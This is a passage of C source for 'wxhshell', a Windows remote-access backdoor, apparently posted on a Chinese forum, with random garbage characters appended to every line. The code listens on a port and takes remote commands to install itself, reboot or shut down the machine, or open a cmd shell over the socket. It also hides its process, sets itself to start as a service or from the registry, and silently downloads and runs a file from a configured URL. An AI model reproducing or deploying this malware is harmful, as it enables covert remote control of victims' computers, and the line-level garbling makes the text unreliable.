\;p5Pagx0-  
    switch(cmd[0]) { 8ON$M=Ze$  
  o[^%0uVF  
  // 帮助 |sHIT<=m  
  case '?': { Zb`}/%\7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \`r5tQr  
    break; +o)S.a+7  
  } x=yBB;&  
  // 安装 0 8vA;6zt  
  case 'i': { M cE$=Vv  
    if(Install()) t#oY|G3O}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y[S 5  
    else V@<tIui$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]i\D*,FfU  
    break; <iiu%   
    } #"%oz^~\  
  // 卸载 o87. (  
  case 'r': { URmx8=q  
    if(Uninstall()) qX`?4"4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }S3m wp<Y  
    else ?Jm/v%0O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BqK|4-Pf  
    break; +"Ek? )?  
    } ( }5k"9Z  
  // 显示 wxhshell 所在路径 N%/Qc hu  
  case 'p': { <WtX> \]l(  
    char svExeFile[MAX_PATH]; 9*RfOdnNe  
    strcpy(svExeFile,"\n\r"); ^10*s,(uS?  
      strcat(svExeFile,ExeFile); 5 |{0|mP  
        send(wsh,svExeFile,strlen(svExeFile),0); {w}PV5<  
    break; ^%|{>Mz;c  
    } wx BQ#OE  
  // 重启 ,SuF1&4  
  case 'b': { 8vz9o <I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a*6x^R;)  
    if(Boot(REBOOT)) )-#%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;o_4)+}  
    else { {%^q8l4j  
    closesocket(wsh); Pe!uk4}w  
    ExitThread(0); AF ZHS\  
    } S%-L!V ,  
    break; ,sP7/S)FR  
    } ' wvZnb  
  // 关机 yAG4W[  
  case 'd': { 9s6, &'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  nsij;C  
    if(Boot(SHUTDOWN)) 1Jc-hrN-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 Bz ~3  
    else { ,'m<um  
    closesocket(wsh); 0!o&=Qh  
    ExitThread(0); L{N9h1]  
    } i>_V?OT#5  
    break; ;n00kel$  
    } v)!Rir5  
  // 获取shell ?Q="w5OOD  
  case 's': { w '~f Z*  
    CmdShell(wsh); mWsVOf>g  
    closesocket(wsh); k]l M%  
    ExitThread(0); 25t2tj@S  
    break; !h}x,=`z/  
  } 7ml,  
  // 退出 aRdk^|}  
  case 'x': { ])'22sY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aN}yS=(Ff  
    CloseIt(wsh); |s+[489g'6  
    break; eEb(TG~,Y  
    } VT?J TW  
  // 离开 hvQOwA;e  
  case 'q': { } =?kf3k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y+_G L=J  
    closesocket(wsh); qS*qHT(u19  
    WSACleanup(); ",(-AU!a)h  
    exit(1); @ >%I\  
    break; ha1 J^e  
        } b|u4h9  
  } %L=ro qz  
  } 8h=H\v^f  
MM3X! tq  
  // 提示信息 ':R)i.TS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p )etl5  
} ~=aGv%vX  
  } V?kJYf(<  
)3=oS1p  
  return; <@.f#  
} -d[9mS  
/~{8/u3  
// shell模块句柄 )Uw QsP  
int CmdShell(SOCKET sock) &q#$SU,$(  
{ gs_"H  
STARTUPINFO si; w{?nX6a@p  
ZeroMemory(&si,sizeof(si)); R{NmWj['Mg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k`62&"T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q{ n~v>wU  
PROCESS_INFORMATION ProcessInfo; ~QJD.'z  
char cmdline[]="cmd"; sl}bNzT#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cR 4xy26s  
  return 0; w{#K.dx  
} TW(rK&  
cR[)[9}  
// 自身启动模式 , b ,`;I  
int StartFromService(void) YT+fOndjaF  
{ l]%_D*<Y  
typedef struct x|<rt96 6A  
{ J_ ?;On5  
  DWORD ExitStatus; /0s1q  
  DWORD PebBaseAddress; B=%cXW,  
  DWORD AffinityMask; 8c`g{ *z  
  DWORD BasePriority; [h""AJ~t  
  ULONG UniqueProcessId; 3;Kv9i<~LE  
  ULONG InheritedFromUniqueProcessId; ;JDn1(6  
}   PROCESS_BASIC_INFORMATION; {wih)XNY  
)TnxsFC  
PROCNTQSIP NtQueryInformationProcess;  &~:b &  
~=aD*v<3d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <_=a1x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tu#VZAPW@  
%k_R;/fjW  
  HANDLE             hProcess; s+YQ :>F  
  PROCESS_BASIC_INFORMATION pbi; kIWQ _2  
~'m GGH2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u7ZSs-LuHw  
  if(NULL == hInst ) return 0; F&<si:}KB  
$`(}ygmP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f;!1=/5u-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &%+}bt5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fWhwI+  
^s\(2lB\F  
  if (!NtQueryInformationProcess) return 0; NVU@m+m~  
RJYuyB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;:,hdFap  
  if(!hProcess) return 0; R$X1Q/#md  
.xS3,O_[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qz2Y w `  
{P"$;_Y"<  
  CloseHandle(hProcess); Y!c RzQ  
I:CnOpR>A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,#hS#?t   
if(hProcess==NULL) return 0; 0ubT/  
#|k;nFJ  
HMODULE hMod; A&*lb7X  
char procName[255]; _p<W  
unsigned long cbNeeded; ];i-d7C  
@GDe{GG+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :# s 6,  
3}e-qFlV8,  
  CloseHandle(hProcess); 43-mv1>.  
B{$4s8XU  
if(strstr(procName,"services")) return 1; // 以服务启动 Wjc1EW!2x  
0O<g) %Vz>  
  return 0; // 注册表启动 [[2Zcz:  
} =cI -<0QSn  
Tj7OV}:  
// 主模块 SxMmy  
int StartWxhshell(LPSTR lpCmdLine) 4Xt.}S!  
{ Wd#r-&!6j  
  SOCKET wsl; H^z6.!$m  
BOOL val=TRUE; ,e$]jC<sv2  
  int port=0; KI)jP((  
  struct sockaddr_in door; 7s@%LS  
nJ'FH['  
  if(wscfg.ws_autoins) Install(); 1Z%^U ?  
gEcRJ1Q;C  
port=atoi(lpCmdLine); AdBB#zd  
|YCGWJaci  
if(port<=0) port=wscfg.ws_port; vVB8zS~l ,  
{U@&hE -  
  WSADATA data; lVF}G[B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9eO!_a^  
f'&30lF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2L"$p?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,l/~epx4v)  
  door.sin_family = AF_INET; #^%HJp^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YHBH9E/B  
  door.sin_port = htons(port); I/4:SNha  
Lt`d {s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hM$K?t  
closesocket(wsl); SNqw 2f5  
return 1; vF yl,S5A  
} Xq:jp+WSG  
N fe  
  if(listen(wsl,2) == INVALID_SOCKET) { 7Nx5n<  
closesocket(wsl); RW| LL@r  
return 1; kS_oj  
} U8TH}9Q  
  Wxhshell(wsl); vEQw`OC  
  WSACleanup(); L&h@`NPO a  
;Z>u]uK4+  
return 0; /zxLnT; 5  
`;KU^dH  
} 6zv-nMZc  
K+2k}Hx6J  
// 以NT服务方式启动 MzUNk`T @  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D1w;cV7/d  
{ Pnf|9?~$H  
DWORD   status = 0; NQB a+N  
  DWORD   specificError = 0xfffffff; `|nCr  
abog\0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~)J]`el,Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `N<6)MX3>g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Tfasry9'8  
  serviceStatus.dwWin32ExitCode     = 0; %DyukUJ  
  serviceStatus.dwServiceSpecificExitCode = 0; poLzgd  
  serviceStatus.dwCheckPoint       = 0; +=.>9  
  serviceStatus.dwWaitHint       = 0; ,Sz`$'^c  
b!(ew`Y;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t<8vgdD  
  if (hServiceStatusHandle==0) return; `Wc"Ix0  
Ug :3)q[O  
status = GetLastError(); etnq{tE5  
  if (status!=NO_ERROR) ;/-v4  
{ 7kiZFHV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y $i^C:N  
    serviceStatus.dwCheckPoint       = 0; ~yX8p7qr  
    serviceStatus.dwWaitHint       = 0; p2m@0ou  
    serviceStatus.dwWin32ExitCode     = status; QuB`}rfLf  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,<Ag&*YE4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pr~%%fCh  
    return; U%.%:'eV=  
  } O_v8R7 {  
6_UCRo5h%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =2Vs))>Y  
  serviceStatus.dwCheckPoint       = 0; :?uUh  
  serviceStatus.dwWaitHint       = 0; h?Y->!'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gu1:%raXd  
} V(gmC%6%l*  
&^q!,7.J  
// 处理NT服务事件,比如:启动、停止 9F~e^v]zp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #|92 +  
{ ,Yp+&&p.  
switch(fdwControl) p :v'"A}  
{ ;+ -@AYl  
case SERVICE_CONTROL_STOP: iX&eQ{LB  
  serviceStatus.dwWin32ExitCode = 0; 7LFJi@*8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J\@ r ~x5G  
  serviceStatus.dwCheckPoint   = 0; 7lLh4__;`6  
  serviceStatus.dwWaitHint     = 0; c[IT?6J4  
  { V yOuw9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ul@swp  
  } Ee~<PDzB  
  return; W?>C$_p C  
case SERVICE_CONTROL_PAUSE: 61aU~w11a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m{v*\e7 P  
  break; kVmR v.zZ  
case SERVICE_CONTROL_CONTINUE: &b__ /o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B|f =hlY  
  break; Mzg zOM  
case SERVICE_CONTROL_INTERROGATE: ;c/|LXc\  
  break; ]NEr]sc-"F  
}; '!hA!eo>J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i?3~Gog  
} [ pe{,lp  
xS'Kr.S  
// 标准应用程序主函数 #NyfE|MKBC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |&oTxx$S  
{ Nc da~h Q  
'5)PYjMnH  
// 获取操作系统版本 "y9]>9:$-  
OsIsNt=GetOsVer(); /Kd9UQU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZLGglT'EW>  
t?aOZps  
  // 从命令行安装 j&N {j_ M  
  if(strpbrk(lpCmdLine,"iI")) Install(); $eq*@5B  
ymW? <\AD,  
  // 下载执行文件 Pf:;iXH?  
if(wscfg.ws_downexe) { T Ob(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'PqKb%B|  
  WinExec(wscfg.ws_filenam,SW_HIDE); eY V Jk7  
} {y%|Io`P  
RxYC]R^78  
if(!OsIsNt) { h}U>K4BJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 T!jMh-8  
HideProc(); 3 ,f3^A  
StartWxhshell(lpCmdLine); *'n L[]  
} W]oILL"d  
else 'Ul^V  
  if(StartFromService()) S]Qf p,  
  // 以服务方式启动 XOoz.GSQ  
  StartServiceCtrlDispatcher(DispatchTable); s/0bXM$^  
else Pr_DMu  
  // 普通方式启动 zN&m-nrw  
  StartWxhshell(lpCmdLine); d6XdN  
o}=c (u  
return 0; =.]{OT  
}
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只看该作者 1 发表于: 2006-10-10
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